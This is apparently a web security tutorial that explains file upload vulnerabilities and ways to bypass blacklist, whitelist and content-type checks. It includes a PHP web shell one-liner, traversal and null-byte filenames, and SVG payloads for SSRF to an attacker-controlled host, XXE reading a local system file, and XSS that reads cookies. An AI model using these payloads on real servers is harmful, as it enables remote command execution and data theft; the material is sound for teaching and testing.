File upload vulnerabilities arise when a server allows users to upload files without validating their names, size, types, content etc. In this article, we will learn common attack vectors that can be used to exploit improper file upload functionality and bypass common defense mechanisms.
Before digging deep into the exploitation part of the file upload functionality, let's take a deeper look at file upload requests. There are 5 parts to a file upload request, as seen below:
Now that we understand the basics of file upload requests and their components, let’s explore some techniques used to exploit file uploads.
File upload vulnerabilities tend to be labelled high-severity. Here are some of the risks that come with improper implementation of a file upload functionality:
File upload vulnerabilities are, in a sense, a ‘gateway vulnerability’ to many other security flaws that could seriously compromise your application. Now we’ll look at some specific techniques attackers use to exploit this vulnerability.
Let's start with a basic web shell upload that allows you to run arbitrary commands on the vulnerable server. In the example below, that application has no security on the vulnerable server, which allows the attacker to upload a malicious php file with the following payload:<?php echo system($_GET[‘command’]); ?>
Now they can run arbitrary commands on the web server by using the URL, i.e. https://endpointofuploadedfile?command={command}.In most cases, the application doesn’t allow users to upload malicious files to the application. But these security measures can be bypassed using the techniques you see below.
The main problem with blacklisting is that you can’t really blacklist every possible vector.
Case 1: By changing the blocked extension’s name to uppercase
Let’s start with the basic bypass. Suppose a developer blocks php, html, exe and other extensions in a smaller case. In those scenarios, we can change the case of the extensions to bypass the file upload restrictions. For example, a php file can be uploaded by changing the extensions to PHP.
Case 2: Bypassing using alternative extensions that might not be blocked
For instance, a developer might block php, html, exe extensions. Attackers can still use alternative extensions like php1, php2, php3, php4, php5, php6, phtml, etc. to bypass the restrictions and upload malicious files.
The equivalent for Windows IIS servers is if a developer blocked asp extension. Attackers can still bypass this protection using extensions like “asa” & “cer”. IIS 7.5 and under have both *.asp and *.cer mapped to asp.dll, thus executing ASP code.
Case 3: Upload file using File Traversal sequences
Sometimes servers restrict executing scripts in the user controlled directories as they are explicitly configured to do that. If the server doesn’t match the expected content-type they might return some kind of error. These restrictions depend on directories to directories basis.
For instance: file.jpg gets uploaded in the /users/images directory. It might happen that even if the attacker is able to upload a malicious script to this directory, the server doesn’t execute the script. We can bypass this using file traversal sequence “…/exploit.php” (if the server is not validating the filename).
Another instance for exploiting using File traversal sequences is to upload the sequences with the name of local file of the server (uploading the file with a name like “…/…/logo.png” to change the logo of the application)
Case 4: Bypassing the content-type check
Developers might check the type of the file using the content-type header. For instance, when you try to upload a php file, the content-type will be “application/x-httpd-php”. The value of content-type can still be altered by using any proxy tool.
For bypassing this protection, intercept the request and change the value of the content-type to the acceptable ones(image/png, image/jpeg).
Case 5: Bypassing the file type check
The web application might check the signature of the file in order to verify the type of file. In those cases, we can bypass this check either by adding a magic number of file (to the start of the payload) or by adding our code in a comment in the file using exiftool.
Whitelist protection is when developers allow the user to upload only certain types of files. This seems to be easier to implement than blacklisting, but there still are ways to bypass whitelisting protection.
Case 1: Bypassing the file extensions check
The application only validates that the uploaded file contains valid extensions, but not validating if that the file ends with that valid extension or not. For instance, we can bypass this by using filename “exploit.jpg.php”
Case 2: Null Byte Injection
If the application has validations written in high-level languages like PHP or JavaScript, but the server processes the file in languages like C or C++ then this can create confusion in how a file is treated. Protection can be bypassed using the null byte(exploit.jpg%00.php or exploit.jpg\00.php).
Some applications allow users to upload SVG files which are later processed on the server side. Because SVG format uses XML, an attacker can create a malicious file to exploit vulnerabilities like SSRF and XXE.
Case 1: SSRF
For this exploit, an attacker needs to create an SVG file with the below content and change the controlled server URL to its own server:
<svg xmlns:svg=”http://www.w3.org/2000/svg" xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink" width=”200" height=”200">
<image height=”30" width=”30"
xlink:href=”https://controlledserver.com/pic.svg" />
</svg>
If they upload this file to the application, there will be a callback if the application is vulnerable.
Case 2: XXE
Here, attackers create an SVG file with the content shown below, and if the server is vulnerable the content of the local file is visible either in the response or in the image itself.
<?xml version=”1.0" standalone=”yes”?><!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/hostname” > ]><svg width=”128px” height=”128px” xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink" version=”1.1"><text font-size=”16" x=”0" y=”16">&xxe;</text></svg>
Case 3: Cross Site Scripting
In this case, attackers need to create an SVG file with the below content. If the server is vulnerable, they will see a pop-up showing that it is.
<svg xmlns=”http://www.w3.org/2000/svg">
<script>alert(‘XSS’);</script>
<rect x=”0" height=”100" width=”100" style=”fill: #cccccc”/>
<line x1=”20" y1=”80" x2=”80" y2=”80" style=”stroke: #ff0000; stroke-width: 5;”/>
</svg>
Case 1: DoS (Denial of Service)
When there is no text limitation for the name of the uploaded file, it’s possible for an attacker to create a file with a long, heavy name, causing a denial of service attack on the application.
For reference, you can view this report.
Case 2: XSS (Cross Site Scripting)
The filename sometimes itself is reflected in the page, so simply by altering the filename can trigger cross site scripting on the vulnerable server.
For this exploit, simply rename the file as “/><svg onload = alert(document.cookie)> and upload the file on the server.
Web applications sometimes do not validate the file size of the uploaded files. In this case the web application might be vulnerable to Denial of Service Attack which can be exploited by uploading many large files which will exhaust the server hosting space. This vulnerability is also referred to as pixel flood attack.
For reference, you can look into this report.